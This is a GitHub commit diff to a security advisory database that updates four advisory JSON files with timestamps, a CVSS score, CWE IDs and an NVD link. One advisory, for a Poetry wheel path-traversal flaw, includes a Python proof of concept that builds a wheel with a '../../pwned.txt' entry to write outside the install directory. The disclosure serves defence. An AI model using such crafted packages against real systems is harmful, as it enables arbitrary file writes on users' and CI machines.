Skip to content

Commit 64cce0b

Browse files
1 parent 1557ad3 commit 64cce0b

4 files changed

Lines changed: 15 additions & 5 deletions

File tree

advisories/github-reviewed/2026/04/GHSA-2599-h6xx-hpxp/GHSA-2599-h6xx-hpxp.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-2599-h6xx-hpxp",
4-
"modified": "2026-04-06T17:25:05Z",
4+
"modified": "2026-04-15T20:53:26Z",
55
"published": "2026-04-01T22:17:36Z",
66
"aliases": [
77
"CVE-2026-34591"
88
],
99
"summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write",
1010
"details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry’s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n \"evil/__init__.py\": b\"\",\n \"../../pwned.txt\": b\"owned\\n\",\n \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"

advisories/github-reviewed/2026/04/GHSA-3jr7-6hqp-x679/GHSA-3jr7-6hqp-x679.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,8 @@
6060
"database_specific": {
6161
"cwe_ids": [
6262
"CWE-125",
63-
"CWE-400"
63+
"CWE-400",
64+
"CWE-770"
6465
],
6566
"severity": "HIGH",
6667
"github_reviewed": true,

advisories/github-reviewed/2026/04/GHSA-fc46-r95f-hq7g/GHSA-fc46-r95f-hq7g.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-fc46-r95f-hq7g",
4-
"modified": "2026-04-13T16:35:13Z",
4+
"modified": "2026-04-15T20:52:29Z",
55
"published": "2026-04-13T16:35:13Z",
66
"aliases": [
77
"CVE-2026-23891"
@@ -62,6 +62,10 @@
6262
"type": "WEB",
6363
"url": "https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g"
6464
},
65+
{
66+
"type": "ADVISORY",
67+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23891"
68+
},
6569
{
6670
"type": "PACKAGE",
6771
"url": "https://github.com/decidim/decidim"
@@ -82,6 +86,6 @@
8286
"severity": "CRITICAL",
8387
"github_reviewed": true,
8488
"github_reviewed_at": "2026-04-13T16:35:13Z",
85-
"nvd_published_at": null
89+
"nvd_published_at": "2026-04-13T17:16:28Z"
8690
}
8791
}

advisories/github-reviewed/2026/04/GHSA-jjf9-w5vj-r6vp/GHSA-jjf9-w5vj-r6vp.json

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,8 @@
6262
],
6363
"database_specific": {
6464
"cwe_ids": [
65-
"CWE-400"
65+
"CWE-400",
66+
"CWE-770"
6667
],
6768
"severity": "HIGH",
6869
"github_reviewed": true,

0 commit comments

Comments
 (0)